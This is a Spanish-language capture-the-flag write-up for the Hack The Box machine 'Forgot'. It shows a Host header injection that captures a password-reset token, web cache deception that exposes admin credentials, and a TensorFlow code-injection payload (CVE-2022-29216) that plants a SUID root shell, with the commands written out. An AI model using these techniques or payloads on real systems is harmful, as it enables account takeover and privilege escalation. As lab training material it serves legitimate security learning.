Descripción

Forgot es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inyección de la cabecera HTTP Host para obtener un enlace de recuperación de contraseña
  • Vulnerabilidad de Web Cache Deception para leer el panel de administración y las credenciales
  • Escalada de Privilegios mediante un script de TensorFlow vulnerable a Inyección de Comandos

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.188.

$ ping -c 3 10.10.11.188
PING 10.10.11.188 (10.10.11.188) 56(84) bytes of data.
64 bytes from 10.10.11.188: icmp_seq=1 ttl=63 time=43.5 ms
64 bytes from 10.10.11.188: icmp_seq=2 ttl=63 time=43.8 ms
64 bytes from 10.10.11.188: icmp_seq=3 ttl=63 time=44.2 ms

--- 10.10.11.188 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 43.469/43.813/44.183/0.292 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.188 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.188
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Ahora hacemos un escaneo más avanzado, con versiones de servicio y scripts.

$ nmap 10.10.11.188 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.188
Host is up (0.044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Werkzeug httpd 2.1.2 (Python 3.8.10)
|_http-title: Login
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.97 seconds

Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio forgot.htb al archivo /etc/hosts.

$ echo '10.10.11.188 forgot.htb' | sudo tee -a /etc/hosts

En el sitio web encontramos un formulario para iniciar sesión, o para recuperar la contraseña. Si introducimos credenciales inválidas, la aplicación devuelve el mensaje Invalid Credentials. En el código fuente HTML de la página de inicio de sesión encontramos un nombre de usuario en los comentarios.

...
<!-- Q1 release fix by robert-dev-36792 -->
...

El nombre de usuario es robert-dev-36792 y intentamos recuperar la contraseña olvidada, un mensaje aparece diciendo que el Password reset link has been sent to user inbox. Please use the link to reset your password. Como no tenemos acceso a bandejas de entrada de correo electrónico, vamos a comprobar la vulnerabilidad de Host Header Injection.

Explotación

El host es forgot.htb pero si cambiamos la cabecera Host a otro valor, como nuestra dirección IP 10.10.14.16, el usuario recibirá el correo con nuestra dirección IP y cuando el usuario haga clic en el enlace recibiremos una solicitud en un servidor HTTP que habremos abierto previamente. Comenzamos el servidor HTTP y luego enviamos el formulario Forgot Password.

$ curl -H 'Host: 10.10.14.16' 'http://forgot.htb/forgot?username=robert-dev-36792' -v       
* Host forgot.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.188
*   Trying 10.10.11.188:80...
* Connected to forgot.htb (10.10.11.188) port 80
* using HTTP/1.x
> GET /forgot?username=robert-dev-36792 HTTP/1.1
> Host: 10.10.14.16
> User-Agent: curl/8.15.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: Werkzeug/2.1.2 Python/3.8.10
< Content-Type: text/html; charset=utf-8
< Content-Length: 91
< X-Varnish: 426072
< Age: 0
< Via: 1.1 varnish (Varnish/6.2)
< Accept-Ranges: bytes
< Connection: keep-alive
< 
* Connection #0 to host forgot.htb left intact
Password reset link has been sent to user inbox. Please use the link to reset your password
...
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.188] 40844
GET /reset?token=0ScCK39c5KiPdjloCbiLBZ%2BYe%2BoX4Wa%2BW8IlLUSHxT7jxYHJ2U46GrL5IQ7RVAGxhbL9W4BATf9hp6BnhNIZtA%3D%3D HTTP/1.1
Host: 10.10.14.16
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Después de unos segundos recibimos una solicitud a nuestro servidor HTTP con la URL de la página de recuperación de contraseña con un token de reinicio /reset?token=0ScCK39c5KiPdj.... También encontramos que el servidor web está utilizando el servidor Varnish, utilizado para caché. Establecemos la nueva contraseña para el usuario. Recibimos el mensaje Sucess. Ahora iniciamos sesión en la página como el robert-dev-36792 y encontramos una aplicación de tickets. Podemos leer los tickets asignados a nuestro usuario y los elevamos al usuario administrador. Encontramos en el menú la opción Tickets(Escalated), pero está deshabilitada, cuando la habilitamos nos redirige a la página /admin_tickets. Nos redirige a la página de acceso denegado /home?err=ACCESS_DENIED. Como vimos previamente la página está utilizando Varnish, un proxy inverso que utiliza HTTP para caché. Una vulnerabilidad relacionada con el caché es Web Cache Deception, en la cual podemos acceder a otras páginas caché de los usuarios.

Primero necesitamos encontrar un archivo que pueda ser caché, comúnmente archivos estáticos son cachados. Necesitamos examinar las respuestas HTTP para la cabecera Cache-Control. Encontramos en el código fuente HTML de la página algunos archivos JavaScript que no existen, como /static/js/check.js.

$ curl -I 'http://forgot.htb/static/js/check.js'     
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Content-Type: text/html; charset=utf-8
Content-Length: 207
cache-control: public, max-age=240
X-Varnish: 163970 393222
Age: 1817
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive

En la respuesta encontramos en la cabecera Cache-Control que el máximo tiempo que un recurso debería estar caché es 240 segundos, pero la cabecera Age indica que el archivo caché tiene 1817 segundos de antigüedad. Necesitamos generar una nueva solicitud que se cachee. Como sabemos que funciona con el archivo check.js vamos a añadir un parámetro, como ?test.

$ curl -I 'http://forgot.htb/static/js/check.js?test'
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Content-Type: text/html; charset=utf-8
Content-Length: 207
cache-control: public, max-age=240
X-Varnish: 341
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive

Encontramos que ahora la cabecera Age es 0 segundos, lo que significa que la solicitud fue caché recientemente. Estamos interesados en cachear la página /admin_tickets, ya que es donde el administrador puede leer todos los tickets escalados. Cuando escalamos un ticket podemos ingresar una URL que será pulsada por el administrador.

Con el análisis anterior asumimos que el servidor web cacheará la solicitud si contiene la cadena /static/check.js, por lo tanto crearemos un nuevo ticket escalado usando la URL http://10.10.11.188/admin_tickets/static/check.js. Cuando el administrador haga clic en el enlace, la página caché será guardada y podremos leerla. No podemos ingresar el dominio forgot.htb ya que indica que la solicitud está marcada. Vamos a esperar un minuto para que el administrador haga clic en el enlace, como si visitáramos la página, será caché con nuestra versión. Somos capaces de leer los tickets escalados del administrador y obtenemos credenciales, diego nombre de usuario y dCb#1!x0%gjq contraseña. Podemos iniciar sesión en la máquina utilizando el servicio SSH.

$ ssh diego@forgot.htb
...
diego@forgot:~$ id
uid=1000(diego) gid=1000(diego) groups=1000(diego)

Post-Explotación

Encontramos como usuarios de consola root y diego.

diego@forgot:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
varnish:x:113:118::/nonexistent:/usr/sbin/nologin
varnishlog:x:115:118::/nonexistent:/usr/sbin/nologin
diego:x:1000:1000:,,,:/home/diego:/bin/bash
fwupd-refresh:x:117:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin

El usuario solo puede ejecutar un comando como usuario root/opt/security/ml_security.py.

diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py

Este script carga múltiples modelos de machine learning preentrenados y un modelo Doc2Vec para analizar datos textuales recuperados de una base de datos MySQL. Procesa cada línea de texto para extraer características como conteos de palabras clave y caracteres especiales, luego utiliza estas características para la predicción. Las predicciones se combinan en una puntuación ponderada, y si la puntuación supera 0.5, activa una función de preprocesamiento de TensorFlow. El proceso completo se ejecuta en paralelo utilizando hilos, sugiriendo que es probablemente parte de un sistema para detectar contenido potencialmente malicioso o inseguro en tickets escalados.

Está importando el preprocess_input_exprs_arg_string desde el paquete Python tensorflow.python.tools.saved_model_cli. La versión instalada de TensorFlow es la 2.6.3.

diego@forgot:~$ pip list | grep tensorflow
tensorflow              2.6.3

La herramienta saved_model_cli de TensorFlow está vulnerable a una inyección de código. Esto puede usarse para abrir una shell inversa, CVE-2022-29216. En la página del informe de vulnerabilidad encontramos un ejemplo de prueba: saved_model_cli run --input_exprs 'hello=exec("""\nimport socket.... Como está evaluando el mensaje reason del ticket de escalado, inyectaremos un comando para crear un nuevo binario Bash SUID: hello=exec("""\nimport subprocess\nsubprocess.call(["cp","/bin/bash","/tmp/suid-bash"])\nsubprocess.call(["chmod","4777","/tmp/suid-bash"])""")#hello. Ejecutamos el script para desencadenar la vulnerabilidad. Podemos iniciar la terminal root.

diego@forgot:~$ sudo /opt/security/ml_security.py
...
diego@forgot:~$ /tmp/suid-bash -p
suid-bash-5.0# id
uid=1000(diego) gid=1000(diego) euid=0(root) groups=1000(diego)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

suid-bash-5.0# cat /home/diego/user.txt 
<REDACTED>
suid-bash-5.0# cat /root/root.txt 
<REDACTED>